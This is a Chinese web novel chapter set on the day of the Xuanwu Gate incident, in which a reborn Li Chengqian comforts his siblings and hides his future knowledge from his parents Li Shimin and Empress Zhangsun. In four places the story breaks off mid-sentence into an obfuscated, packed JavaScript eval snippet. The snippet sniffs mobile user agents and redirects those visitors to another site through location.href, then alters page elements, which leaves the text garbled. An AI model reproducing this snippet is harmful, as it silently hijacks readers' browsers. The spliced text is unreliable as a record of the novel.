《大唐太子日常》 1. 重生 武德九年六月初四,长安,弘义宫秦王府。 李承乾在一阵剧烈的头痛中醒来,他在朦胧间睁开眼,发现身上盖着薄被,仰面躺在床上,鼻尖传来药香。他望着上方高深的木梁,耳边隐约能听到小女儿家的啜泣之音。 “大郎终于醒了。”一道充满惊喜的女声传来,一名约莫年过三旬的质朴妇人惊喜地看着李承乾,见他想要起身,连忙上前将他从胡床上扶起,往他身后塞了个枕头作为倚靠。 李承乾坐起,看向妇人,心中惧怔,口里喃喃道:“乳娘……” 眼前的乳娘王氏尚且年轻,远不及日后衰老。乳娘是由他的母亲长孙皇后亲自为他挑选,殷实恳切,处处将他放在心上。如今突然一见,恍若隔世。 “奴在此,大郎突然昏倒在地,奴让府中医师熬了药,大郎服一些吧。” 李承乾摇头,看向跪坐在他床边啜泣不止的小女孩,伸手道:“丽质,到阿兄这里来。” 六岁的小姑娘李丽质扑进兄长怀里,哭得越发伤心了。 李承乾用指肚轻轻拂去妹妹脸上的泪珠,耐心问道:“丽质这是怎么了?为什么在哭,告诉阿兄好不好?” 李丽质整个小人扑倒在李承乾怀里,抓着李承乾胸前的衣襟,哭得一抽一抽的:“耶耶……阿娘……还有府里的好多叔叔伯伯,都不见了。阿兄又一直没有醒……” 李承乾心中暗道,原来他穿回的是这一天。 “莫怕,莫怕,”李承乾搂住妹妹安慰她,“阿耶阿娘很快就会回来了。” “真的吗?”李丽质抬起头,泪眼婆娑。 “真的,阿兄和你保证。丽质相信阿兄吗?” 小姑娘李丽质重重点头:“嗯,我最喜欢阿兄了。”她把头埋进兄长怀里,重重抱住。 李承乾搂着怀里的妹妹,看向王乳娘:“乳娘,如今是什么时辰?” 王乳娘忙道:“已经过了巳时三刻,大郎可要用食?” 李承乾点头:“煮三碗索饼端到我房中。另外令厨下蒸八百人的粟米,把府中活羊尽数宰杀烹制。” 王乳娘迟疑道:“大郎若要吃羊肉,只怕今早宰杀的羊肉还有呢。”如今的李承乾虽然贵为中山王,但毕竟只是个八岁的孩子,秦王府中诸事还是要听秦王李世民和秦王妃的。突然要杀这么多羊,王乳娘一时间不敢决断。 李承乾笑道:“乳娘莫要惊慌,只管按照我的吩咐去做就是。若是阿耶阿娘怪罪下来,我自然会一力承担。” 李丽质在李承乾怀里道:“我也会帮阿兄说情的。” 李承乾无奈笑道:“好,你陪着阿兄。” 李承乾既然执意如此,他毕竟是主人,王乳娘也不敢再违抗他的意思。再者,自从李承乾从昏迷中苏醒,王乳娘便觉得他身上气势尤甚,不同往常。于是便下去按他的意思吩咐府中众人准备。 李承乾从矮床上起身,穿上外衣,命侍从把李泰带到他房中。 …… 李泰进屋,对李承乾行礼问安:“大兄安好。” 李承乾见他虽然面无泪痕,但眼睛却是红肿的,只怕私底下也已经偷偷哭过。 对于这个弟弟,李承乾曾经深恨。可是等他的太子位被废之后流放黔州,随即病死他乡。死后穿越到现代,在史书中看到这个弟弟的结局,却只觉得悲凉可笑。过往种种,如烟消散。 如果他现在面前站着的是十年后的李泰,只怕他还要上前打李泰一顿。但如今他面前站着的不过是一个七岁稚童,因为父母不在身边而显得瑟缩畏惧,李承乾心中完全生不出相争之意。 李承乾拉着妹妹李丽质的小手,上前拍拍李泰的肩膀,权作安慰。 正好这时侍从端上羊肉索饼,李承乾便对李泰道:“青雀,坐下一起用食吧。” 李泰口中称喏,乖乖坐下。 兄妹三人一起坐在矮桌前用食,一时无话。 用毕,只听见府外传来兵戈踏马之音,李丽质吓得躲进李承乾怀里,李泰也脸色发白,有些瑟缩。 李承乾连忙安慰妹妹:“丽质莫怕,是阿耶阿娘回来了。丽质和阿兄去迎一迎好不好?” 李丽质乖乖点头:“嗯,我要同阿兄去迎阿耶阿娘。” 兄妹两人手拉手向府门处跑去。 李泰急忙跟在他们身后,他因为长得胖跑得慢,抬手在两人身后疾呼:“你们慢点,等等我。” …… 兄妹俩跑到前府庭院,只见庭院前躺着不少身染鲜血的甲士。一名欣丽女子在发号施令,命府中仆从抬送治疗伤员。仆从行动间井然有序,无一懈怠。 李丽质见到母亲,立刻哭着扑进母亲怀里,秦王妃长孙无音连忙俯下-身低声安慰幼女。不久李泰赶到,也躲进母亲怀里大哭起来。 长孙无音知道儿女今天担惊受怕,一腔慈母之情难发,连忙搂着他们安慰。 李承乾站在不远处,静静地看着这一幕。 长孙无音暂时放开一双儿女,对着不远处的李承乾招手:“承乾,到阿娘怀里来。” 李承乾上前,抬手轻抚长孙无音的脸庞,距离上一次见到阿娘,已经是几十年前的事了。他不禁泪流满面,口中喃喃道:“我许久不见阿娘,竟然险些忘记阿娘音容……” 长孙无音虽然不解承乾之意,却依旧把长子抱进怀中安慰,继而李丽质和李泰又扑上来,四人抱在一起,哭作一团。 良久,几个孩子渐渐止泣。 李丽质仍带着哭腔道:“阿娘,阿耶没有回来吗?” 长孙无音愣了一下,解释道:“你阿耶如今仍在宫中。” “是太子伯伯和四叔又找阿翁告阿耶的状了吗?”李丽质鼓起脸,为父亲打抱不平。她年纪虽小,却也知道太子和齐王四叔屡次针对父亲李世民,经常向皇帝阿翁告状,害得阿耶每每都要进宫向皇帝阿翁辩白。 今天血溅玄武门之事,极为机密,长孙无音夫妇尚未告诉子女,如今面对幼女询问,聪慧如她,一时间竟也不知道该如何解释。 李承乾看出母亲窘态,连忙道:“阿娘可曾用过午食?我已经命人杀羊蒸粟,以供众将士。阿耶那边,可要送食过去?” 听到长子这样说,长孙无音便知道长子已经知道今天玄武门之事,虽然不知道承乾是从何处得知此事,但一时之间也无处探究。 她道:“承乾安排得很好,我过会儿便命人给你阿耶送去。阿娘这里有事要忙,你先带着你弟弟妹妹回去吧。” “是。”李承乾应道。 …… 李承乾带着李丽质和李泰回到自己住的屋子。 李丽质年纪虽小,却没有那么好糊弄,她端端正正地坐在李承乾面前,认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289113|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真发问:“阿兄刚才为什么要阻止我询问阿娘?” 李泰在一旁插话道:“就是啊。” 李承乾对着两人道:“丽质,青雀,以后不必再向阿耶阿娘询问大伯和四叔的事情了。” 李泰连忙道:“为什么啊?” 李承乾道:“因为他们俩以后都不会再出现了。阿婆思念自己的孩子,把大伯和四叔都带走了。” 唐时阿婆指祖母。李承乾说的阿婆就是如今大唐皇帝李渊的妻子穆皇后窦氏,同时也是太子李建成、秦王李世民和齐王李元吉的亲生母亲。 “这样嘛。”李丽质虽然幼小懵懂,但在隐约之间还是觉察到了危险。她没有继续发问,乖乖点头:“那我知道了,阿兄。我以后都不会再问了。” 李承乾点头,让侍从带妹妹回去休息。 等到李丽质走后,李泰环顾屋中侍从,见他们离得远,自己和兄长的对话大抵不会被听到,才慢慢走到李承乾旁边,小声问道:“大兄,大伯和四叔死了吗?” 李承乾回头看他,点了点头:“是。” 李泰明显瑟缩了一下,他命左右侍从退下,更加小声地询问李承乾:“是阿耶……是阿耶杀了大伯和四叔吗?” 李承乾静静地看着李泰。眼前的李泰还只是个七岁稚童,虽然聪慧,却依旧天真。 只听李承乾答道:“是。” 李泰被吓得深吸一口气,缓了好久才道:“阿耶……阿耶杀了大伯。大伯是太子,阿耶杀了太子!阿耶要当太子了吗?” 李承乾深深地看着面前的李泰:“是啊,所以我们很快就要搬家了。” “搬回承乾殿住吗?”李泰喃喃道,“以前搬出宫的时候我还很小,都不记得那里长什么样子了。” 唐朝国朝初立时,李家父子兄弟之间感情尚且和睦,远没有像今日这般势如水火,一家人都住在皇宫之中。 皇帝李渊住在中间的太极殿,太子李建成居住在东宫,齐王李元吉居住在太极殿东面的武德殿,距离东宫只一墙之隔。两人互通有无,极为方便。 秦王李世民一家,则住在太极殿西面的承乾殿,他的长子李承乾在这里出生,便以此殿为名。 后来秦王李世民在外征战,功劳越来越大。皇帝李渊便命人在宫城西面为秦王李世民营建弘义宫,是为秦王府。 武德五年,秦王妃带着几个孩子搬到这里居住,直至今日。 李承乾结束了回忆,对着李泰摇头道:“我们不会搬到承乾殿的。” 他见李泰还不解,提问道:“青雀,太子居何处?” 李泰恍然大悟:“所以,我们要搬到东宫居住吗?” 李承乾点头,并道:“青雀,你的问题太多了,回去休息吧。今日之事,暂时不要告诉其他人。” 李泰有些不服气道:“这我当然知道。阿兄,我先走了。” …… 李泰走后,李承乾静坐在屋内,一言不发。 玄武门之变后,阿耶很快被封为太子,继而登基为帝。 而他也很快被封为太子,成为东宫储君,直到贞观十七年,他被废为庶人,一切烟消云散。 上上世他已经做了十八年的太子。 三世为人,难道他还要再做十八年的太子吗? ——不。 ——他才不要! 2. 秦王 殿内悄然寂静,王乳母走进来询问:“如今已是戌时三刻,大郎晚食要用些什么?” 李承乾这才惊觉现在居然已经是晚上了,屋中已经点上灯,他摇头道:“我不饿,不必用了。” 王乳母连忙劝道:“大郎今日只用了一碗索饼,腹中必然饥饿。大郎若是没有胃口,不如用些水饭也是好的。” 李承乾笑着宽慰她:“乳娘不必忧心,我若饿了,必会吃的。乳娘先下去休息吧。” 王乳娘还要再劝,便听到一个爽朗男声笑道:“怎么?大郎今天命人烹杀那么多羊,自己居然没有胃口吗?” 随着声音传到,一个身材高大,身披甲衣的健硕男子已经出现在内殿门口,李承乾连忙起身相迎。 殿内仆从忙行礼问安:“拜见秦王。” 李世民看着走进自己的长子,拍拍他的肩膀:“怎么?我们家承乾今天没有胃口?还未用过晚食?” 李承乾突然见到多年未见的父亲,心中感慨万千。他低下头,不让李世民看见自己脸上惊异的表情,应道:“是。” “看着倒是沉稳了不少。”李世民上前,一把将儿子抱起,吩咐王乳娘,“去取麦饭羊肉来。” 王乳娘连忙应声而去。 李世民单手抱着儿子李承乾往殿内走去,一边走还一边颠了一下:“你这么轻?怎么能不吃饭?” 李承乾只觉得羞耻感爆棚,不管是他在唐朝的上上世还是他在现代的那一世,他都已经长成彻头彻尾的成年人,如今还被父亲这样抱坐在胳膊上,简直不知道该作何反应。 他轻轻推了推李世民:“阿耶快放我下来吧,我如今这般大了,不必抱了。” 此时的李世民不过二十八岁,今天早上刚刚在玄武门射杀了自己的兄长和弟弟,即将成为这个大唐王朝的新主人。他此时意气风发,在外人面前尚且要遮掩一二,但面对自己的儿子,倒不必有这个顾虑。 他故意逗弄长子道:“若我就是不放你下来呢?承乾要奈耶耶如何?” 李承乾:“……”您都是二十八岁的人了,能不能稳重一点,不要那么幼稚? 李承乾一头撞向李世民,企图趁其不备从李世民怀里逃脱。但李世民是何人?他是打下大半个大唐的天策上将,怎么会扛不住小儿撞击的这点力道。他反手一捞,抓住李承乾蹦跶的小腿,又把儿子控制在了自己怀里。 李承乾再次无语:“……” 李世民眼见长子气鼓鼓的样子,只觉有趣,立刻哈哈大笑起来。 还是王乳娘送来的晚食打破了李承乾的尴尬,李世民这才放下儿子,和他一起用起暮食。 李承乾坐在矮桌前,阿耶李世民就坐在他的对面。 李承乾想要拿起筷子,才发现自己手心里竟然沾上了黑色的血迹。想来阿耶身上的甲衣应该只是用布大概擦过一遍,并没有彻底清理干净。刚才和阿耶打闹之时,手上才不小心沾上血迹。 李世民见长子迟迟不动筷,问道:“怎么了?还是没胃口?” 李承乾连忙摇头,将手心的黑色血迹藏起来,拿起筷子:“没什么,阿耶去见过阿娘了吗?” 李世民嚼着嘴里的羊肉,等到咽下去,才说道:“见过了,我是先去了你阿娘那里,才到你这里来的。我听你阿娘说,你命人准备了八百人份的食物——” 说到这里,李世民放下筷子,正色道:“承乾,你是如何知道今日之事?” 今日之事便是指今早发生的玄武门之事,此事极为隐蔽,除了参与行动的人,秦王府中其他人应该不知道此事。承乾不过一介小儿,又是从何处得知? 李承乾对此早有应对,他平静应答:“我昨晚听到府中有大量甲士走动之声,今日醒来,又见阿耶阿娘和舅舅、将军们都不在府中,猜测阿耶会行大事,便命人准备食物。” “是吗?没想到我儿竟有这般耳力?” 李世民心中暗道,他为了避免八百甲士发出太大声音,已经命他们在鞋上帮上厚布,承乾居然还能听到?或是说,承乾是半夜睡不着,偷偷看到的?不管怎么说,今日玄武门之事已经结束,再去探究承乾为什么知道此事也没什么意义。 李世民爽利一笑:“承乾,你今日命厨下准备饭食,又安抚弟妹,做得很好。可有什么想要的东西?” 李承乾思考片刻后道:“我听说阿耶手上有一张巨弓,随阿耶征战多年,如今大唐战事逐渐平息,阿耶应当用不上那张弓了,能把那张弓赐给我吗?” 李世民愣住,他原以为承乾会想要些别的东西,没想到居然要了那把弓。那把弓也没什么可稀奇的,虽然被他使用多年,但说到底也只是旧物而已,并非不可替代。 李世民道:“你既想要,那便给你。只是承乾你如今年岁尚幼,力有不足,还拉不开那把弓。日后随府中甲士习射,不可用那把弓作为练习,以免伤了筋骨。等到你身体长成,有如今阿耶这般力气,才可以用那把弓。可记住了?” 李承乾没想到自己只是提了一嘴那把弓,竟然换来阿耶的殷切嘱咐,一时间像是打翻了调料罐,心中滋味难辨。他低下头应道:“是,我记住了,多谢阿耶。” 李世民点头,拍拍承乾的肩膀,又伸手摸了摸他的后背,只觉背部硌手,全是骨头,又觉承乾身形单薄,远不及四子青雀壮硕:“瘦了些,得好好用食,不可再像今日这般任性,知道吗?” “是。”李承乾低头应道。 李世民见儿子乖乖应下,又嘱咐一旁侍奉的乳娘及侍从:“中山王日后若还是如今日这般,你们只管谏言劝阻,不要纵着他的性子。若他还是不听,便来禀告我或王妃。” 殿中众人齐声应诺。 李世民见状又拍拍儿子的肩膀:“早些洗漱休息吧。你要的弓,我吩咐人明早给你送来。”随即转身离开。 …… 李世民带人回到自己居住的寝殿,见爱妻长孙无音伏在案前,不知道在写些什么,脸上不由露出笑意:“音娘这是在做什么?” 长孙无音听到丈夫的声音,放下笔,脸上也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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六月明明是长夏,正是一年中最热的时候,他身上盖着薄被,却丝毫不觉得酷热。而弘义宫秦王府明明有山林胜景,今夜却未闻蝉鸣,不知是在为今日之事祭奠还是在为他悲悯。 等他将阿娘的身子调养妥当,大概便可以从容赴死了。 …… 第二天一早,李承乾用过朝食,李世民派来送巨弓的侍从便到了。 李承乾坐在案桌前,将巨弓抱在怀里。 此弓足有两米长,比李承乾现在整个人都要高。因为被主人常年使用,弓身多有磨损,刻痕里还残留着斑斑血迹,也不知道曾经经历怎样的大战。 李承乾吩咐殿内侍奉的侍从:“取松脂和干布来。” 侍从领命,很快就将东西取来。 李承乾用松脂涂在弓身上,用干布一点一点仔细擦拭。 王乳娘侍立在一旁,见状不由问道:“大郎爱此弓?” 李承乾轻笑:“是,我爱极。” 3. 比高 李承乾和乳娘说话间,殿外远远传来妹妹李丽质清脆的声音:“阿兄阿兄,耶耶是不是给了你一把弓,给我也看看。” 她脚步轻快地跑进来,后面还跟着李泰和另一个怯生生的小萝卜头。 李承乾手上不停,还在用干布给巨弓抹油,等到李丽质跑近前,才笑着问道:“阿耶刚刚才命人把弓给我送来,你是从哪里知道的?” 李丽质得意地挺起小胸膛:“刚才我看到给阿兄送弓的从人了,我命人一问就知道了。” 李承乾将巨弓放在案上,向李丽质招手:“你近前来看吧。” 李丽质走近矮案,小心地摸了摸弓身,惊叹道:“这弓好大,比我整个人都要大呢!” 李泰此时也走进殿内,和另一个小萝卜头对着李承乾行家人之礼:“大兄安。” 李承乾摆摆手:“你们俩也是来看弓的吧,近前去看吧。” 得到允许,李泰立刻上手摸起来,另一个孩子却有些怯懦,有些犹豫该不该上前。 李承乾笑着安抚他:“不妨事,三郎也近前看看这弓吧。” 得到李承乾的第二次允诺,秦王第三子李恪才小心翼翼地近前观察起这把巨弓。 李丽质问道:“阿兄,我能把弓拿起来看看吗?” 李承乾点头:“这弓有些重量,只怕丽质你拿不动,让侍从帮你吧。” 李丽质在侍从的帮助下才把弓身竖着立起来,和自己身高比了比,道:“这弓果然比我还高呢。” 她看了一眼站在身边的李恪和李泰,补充道:“也比三兄、四兄要高。” 李泰有些不服气道:“不止呢,这弓也比大兄要高呢。” 李承乾笑道:“别争了,这世间比这弓还高的也没有多少人了。” 李恪在一旁小声道:“尉迟将军和秦将军应该比这弓要高吧。” 李丽质好奇问道:“三兄怎么知道两位将军比这弓还高?” 李恪明显往后缩了一下,才小声道:“之前几位将军进府的时候,我在庭院里远远地看见过几眼,是我猜的,并无实证。” 李泰听到这话,补充道:“说起来,今日两位将军也进府里了呢。我的从人刚才看到他们了。” 李丽质立刻道:“那我们一起去看看,两位将军是不是真的有那么高吧。” “怎么看?若是带着弓去,未免也太蠢了些。若是不带弓去,怎么知道两位将军真的比弓高呢?”李泰撇撇嘴,不解道。 李丽质转头看向李承乾,哀求道:“阿兄帮我……” 李承乾坐在一旁听着弟妹讨论此事,又见妹妹哀求撒娇,只觉得她天真可爱,他提示道:“《三国志·魏书》中记载了曹冲幼年时的一个故事,阿妹可有读过?” 李丽质茫然摇头,她如今不过六岁,字都认不全,哪里会去读那些枯燥的史书? 李承乾又看向李恪和李泰:“你们两个呢?” 两人皆摇头。 李承乾便将《三国志》中曹冲称象的故事和三人说了一遍:“怎么样?你们有没有想到什么?” 李恪在一旁安静思索。 李泰有些抱怨道:“曹冲称象称的是重量斤两,和弓长有什么关系?” 李承乾笑道:“青雀,你再仔细想想。” “啊,我知道了。”李丽质兴奋道,“我知道该怎么做了。” 李泰困惑不解:“你知道什么了?” 李丽质暂时没有回答他,她回顾整个殿内,挑了长得最高的一个侍从,命他站在立着的巨弓旁边,又让他双手举起,伸长手臂,发现他手臂举直时,指尖的高度和巨弓差不多。 李泰见状恍然大悟:“原来如此,原来是以侍从的身长替代弓长,确实和曹冲称象中用石块代替船身吃水等同的象重差不多的道理。到时候等尉迟将军和秦将军议事完出来,让这个侍从走到他们身边举高手臂,就知道到底是弓长还是身长了。” 李丽质兴奋地想要去验证自己的想法,李泰和李恪也要一同前往。 李承乾坐在一旁道:“我就不去了,等你们比出结果,再来告诉我吧。” 几个孩子立刻兴奋地跑出去。李承乾站起身,命人把巨弓挂在自己寝殿床榻对面的墙上,便往母亲长孙无音处走去。 …… 弘义宫议政殿内,秦王李世民正在和手下将领谋士议事。 虽然玄武门之变已经结束,李世民已经是板上钉钉的下一任太子,但现在立太子的诏书还没有颁布,此时还不可掉以轻心。再者,大唐目前国土虽已安定,但北边突厥尚未铲除,仍是大唐目前的心腹之患。 几人正商议着该怎么筹备兵力,以备突厥来犯,便听见殿外传来喧闹之声。 随即,守卫殿门的一队甲士便将一个侍从押到众人面前,拱手解释道:“秦王,刚才这人站在殿门外探头探脑,不知道想做些什么,正好被我等拿下。” 那侍从趴在地上喊冤,连忙解释道:“小人并无他意,只是奉长沙王、卫王和五娘子之命,守在殿外,等着尉迟将军和秦将军出来,绝无窥探之意啊。” “青雀和五娘?”李世民有些困惑,“他们要你等两位将军出来做什么?” 那侍从便将在李承乾殿内发生的几人关于的身长和弓长之比的争论详细地复述了一遍。 李世民笑道:“这倒是有趣。” 他看向坐在席中的尉迟敬德和秦琼,“两位将军可愿为小儿解惑?” 尉迟敬德大手一挥:“这有什么不行的。” 秦琼抿嘴微笑:“不敢请耳,固所愿也。” 李世民便让左右侍从把几个孩子带过来。 等孩子们来了之后,让他们亲眼看着侍从举高双臂和两位将军身长比较。 李丽质惊叹道:“两位将军果然比巨弓还高,真是勇猛非常人!” 李泰和李恪也是站在一旁,连连惊叹。 李世民将女儿叫到身前,仔细问道:“你们是怎么想出这个比身长的办法的?” 李丽质道:“是阿兄先给我们讲了《三国志》里曹冲称象的故事,我才想到这个办法的。” 坐在席上的长孙无忌赞道:“不想中山王如此稚龄,竟然已经读过《三国志》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李承乾这一觉睡的极为满足,像是干枯许久的幼苗得到雨水滋润,一下子就活了过来。 他忍不住伸了个懒腰,却突然发现自己还躺在母亲怀里,不觉羞红了脸。 他连忙回过身,替母亲按摩手臂:“阿娘抱了我许久,应该手麻了吧,我给阿娘按按。” 长孙无音笑道:“这倒是无妨。只是承乾,阿娘问你,你昨晚几时睡的?” 李承乾低下头,呐呐不言。 长孙无音捧着儿子的脸抬起来:“承乾,告诉阿娘,你在担心什么?” 李承乾忙道:“我没事的,阿娘。” “真的吗?”长孙无音将长子抱进怀里,“承乾是在害怕昨日之事吗?还是在害怕将来之事?” 李承乾沉默不语。 “不要害怕,承乾。你是我和你阿耶的长子,你什么都不必怕,你阿耶和我都会护着你的。” “嗯,阿娘,我知道。” “阿娘,我饿了。” 长孙无音无奈笑道:“好,阿娘让人送午食过来。” 4. 骄傲 送午食的人还没来,李世民倒是先回来了。 长孙无音有些诧异道:“二郎早上不是还说,要在前头和诸位大臣一起用食吗?” 李世民抱住长孙无音蹭了蹭:“我回来看看你,一会儿就回去。” 长孙无音哑言失笑。 夫妻之间亲密无间,仿佛插不进外人。 外人李承乾:“……”喂,这里还站着一个大活人呢。 李世民这才注意到长子也在这里:“承乾怎么在这儿?” 李承乾:“……”居然这才注意到吗? 他答道:“我来给阿娘请安。” 李世民点头,接着问道:“对了,我听丽质他们几个说,你给他们讲了曹冲称象的故事。承乾你何时读了《三国志》?昨日忘了问你,前些日子我让余恩给你布置的功课,你可完成了?” 余恩是长孙无音的堂侄长孙家庆的字,他的父亲因为效忠王世充而死,但由于长孙无音的缘故,他本人并没有受到牵连,反而做了李承乾的侍读,负责教导李承乾启蒙读书。 这些日子因为李世民要与手下筹谋大事,为了避免秘密泄露,所以先借口让长孙家庆回家去,过几日再来秦王府侍奉。但长孙家庆在离开秦王府之前,是按照李世民要求的教学进度给李承乾布置了功课的。 对于功课,李承乾表示一无所知。 试问世界上有哪一个人能记得自己几十年前的作业内容?反正他是一点儿印象也没有了,只能沉默以对。 李世民见儿子不说话,便知道他大概是没做功课了。这些日子李世民很忙,对长子的学业也确实懈怠了。不止承乾,便是青雀、丽质他们的功课,他也许久没有检查了。等他日后闲下来,还是得挨个细细查问。 李世民又随机问了李承乾几个《诗经》《礼记》中的问题,他原以为承乾这些日子懈怠了功课,应该答不上来。没想到承乾起初回答还磕磕绊绊,但很快就熟练起来,对答如流。 李世民满意地点头:“不错,看来学业上倒是没有完全懈怠,回头记得把功课补上。” 成功考糊李承乾之后,李世民和爱妻亲昵了一会儿,又回到前头去了。 “好了,承乾,过来吃饭吧。”长孙无音命人摆上饭食,对着李承乾道。 李承乾垂头丧气地坐在饭桌前,忍不住撒娇:“阿娘,阿耶欺负我。”话毕,长孙无音还没什么反应,李承乾自己先感到一阵恶寒。他又不是真的只有八岁,怎么能这样向母亲撒娇。 长孙无音失笑:“我命厨下做了你爱吃的菜,快吃吧。” 李承乾只好郁闷地开始吃饭。 …… 议政殿内,未来的大唐贤臣名将们正在吃工作餐。 突然见秦王李世民脸上带着骄傲的大笑,进来对房玄龄道:“玄龄,我听说你五岁能诵毛诗,世人谓之奇童。今日我问中山王《诗》《礼》,他竟能对答如流,只怕才智不在你之下。” 房玄龄忙咽下嘴里的饭,下来筷子,起身拱手:“少君聪慧,恭喜秦王。” 李世民谦虚道:“璞玉还需雕琢,今后还需诸位耐心教导他才是。” 其他大臣也纷纷口称恭喜。他们的追随者有了合格的继承人,大业稳固,自然是值得庆贺的事。 …… 内殿。 吃过午食,李承乾陪着母亲稍作休息,便开始苦哈哈地补功课。 中途李丽质、李泰和李恪几个小朋友也曾经进来想要找哥哥玩,可惜被兄长全身布满的要补作业的怨气劝退,跑到别的地方去玩了。 好不容易抄完一篇文章,长孙无音拿过去看了看,略微有些诧异,说道:“字倒是比以往大有进益,可惜浮躁了些。承乾,再写一遍吧。” “是。” 李承乾无奈,只好静下心来重写。 李唐皇室擅长书法,自他的祖母穆皇后窦氏起,到他的父亲唐太-宗李世民,他的弟弟李泰、李治,再到他的妹妹晋阳公主,或擅长飞白,或擅长行、草、隶书,无一不是书法大家,但这些人里不包括李承乾。 他从前的字,最多只能称得上一句工整而已。 在现代的那一世,他倒是苦练过一段时间的颜体,算是有所成效。 但是现在却也不好表现出来,再加上幼童力弱,李承乾又要刻意模仿自己八岁时的字迹,写出来的字自然不太好看。 李承乾第二次把作业交给母亲,这次长孙无音看了长子一眼,点头道:“这一份倒确实是用心了。好了,你阿耶快回来了,承乾,你先回去吧。” “是,孩儿告退。” 等看着长子走远,长孙无音才命人取来火盆,将李承乾留下的两份作业放在火上,一并焚烧殆尽。 火光映照着长孙无音的脸,她喜怒难辨,叫人难以揣测。 拿着火盆的宫女侍奉长孙无音多年,大着胆子问道:“王妃怎么就这样烧了,等秦王殿下回来,见了中山王的功课,岂不更加高兴?” 长孙无音看了她一眼:“你无需多言。” 王妃许久未曾如此严厉,那宫女一时间有些讪讪的,忙道:“是。” …… 李承乾回到自己居住的寝殿,用过晚食,便和王乳娘提起今日功课之事。 王乳娘有些惊讶道:“大郎莫不是忘了,长孙侍读之前给您布置的功课,您前些日子就做完了,还叫奴给您收着呢。奴这就给您拿来。” 王乳娘把守在匣子里的一叠纸递给李承乾:“大郎看看,可是这些?” 李承乾接过纸张,一看到上面的字迹,心下又惊又惧,这和他白日里交给母亲的字迹差别极大。 他在现代的时候是真的用下心练过字的,颜体雄伟刚劲、大气磅礴,为百世之宗。这样的字体,就算再怎么遮掩丑化,但筋骨犹存,远比一个八岁稚童的字要好得多。 区区几日光景,孩子的字体改变如此之大,聪慧如阿娘,又怎么会觉察不出? 王乳娘见李承乾一接过功课便怔在原地,谨慎地问道:“大郎,可是这纸有问题?奴没有替您保管好?” 李承乾摇头:“不关乳娘的事。”他正想引火把这几张纸烧掉,想了想,又干脆作罢,放在一边。 “我要去见阿娘。”李承乾道。 王乳娘连忙拦下他道:“如今天色已晚,秦王和王妃恐怕已经歇下了,大郎明日再去吧。” 秦王府众人皆知秦王和王妃感情要好,年岁又轻。李承乾这时候找过去,只怕是不大方便。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289116|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然王乳娘极力劝阻,但李承乾并不听,只身往母亲居住的宫室走去。 他一意孤行,直愣愣地走到母亲宫室附近,发现母亲殿内烛火都已经熄灭,才突然停下,发觉自己背后已经是满身冷汗。 阿娘聪慧,察觉他的字迹有异,必然会对他有所怀疑。 他有勇气面对阿娘充满不信任的眼神吗? 李承乾迟疑了。 他正要往回走,便听见殿内传来阿娘的声音。 “是承乾在外面吗?” 透过窗户,殿内很快有火光亮起。 只怕是他刚才的举动惊动了殿外值夜的侍从,才叫阿娘知道了他的踪迹。 李承乾站在原地,只见阿娘穿着单衣走出殿门把他抱进怀里,阿耶跟在她后面为她披上外衣。 长孙无音抚摸着长子的头发:“这么晚来寻阿娘,是想阿娘了吗?” 李承乾怔怔地没说话。 长孙无音轻叹一声,抱着长子进殿,走到床前,帮他脱了鞋袜整个人塞进被子里:“今晚就和阿耶阿娘一起睡吧。” 一旁的李世民听到颇为不满:“音娘,承乾他都这般大了,丽质都不跟着我们睡了。” 长孙无音眉头轻蹙,嗔怪一声:“二郎——” 见此,李世民就不好再说话了。 熄了烛火,李承乾睡在阿耶和阿娘之间,阿娘把他搂进怀里,轻轻拍打着他:“睡吧,要不要叫你阿耶唱歌哄你睡?” 李承乾立刻道:“不要,阿耶唱歌跑调!” 李世民怒道:“我什么时候唱歌跑调了?” 长孙无音连忙在这对父子之间劝合:“好了好了,早些睡吧。” …… 半夜,长孙无音觉得身边滚烫一团。她往长子额头一摸,只觉得滚烫,又摸孩子的后背,一身冷汗。 她连忙起身叫守夜的宫女点灯,把府医找来。 李世民早就被这一连串的声音惊醒。 他摸了摸长子的额头,皱眉道:“怎么烧得这么烫?” 长孙无音道:“我见承乾早上便有些昏昏欲睡,只怕那时风邪就已经入体。” 府医很快就到了,正要向秦王王妃行礼,便见秦王摆手道:“不必多礼,快看看中山王。” 府医于是上前,耐心为中山王李承乾诊脉。 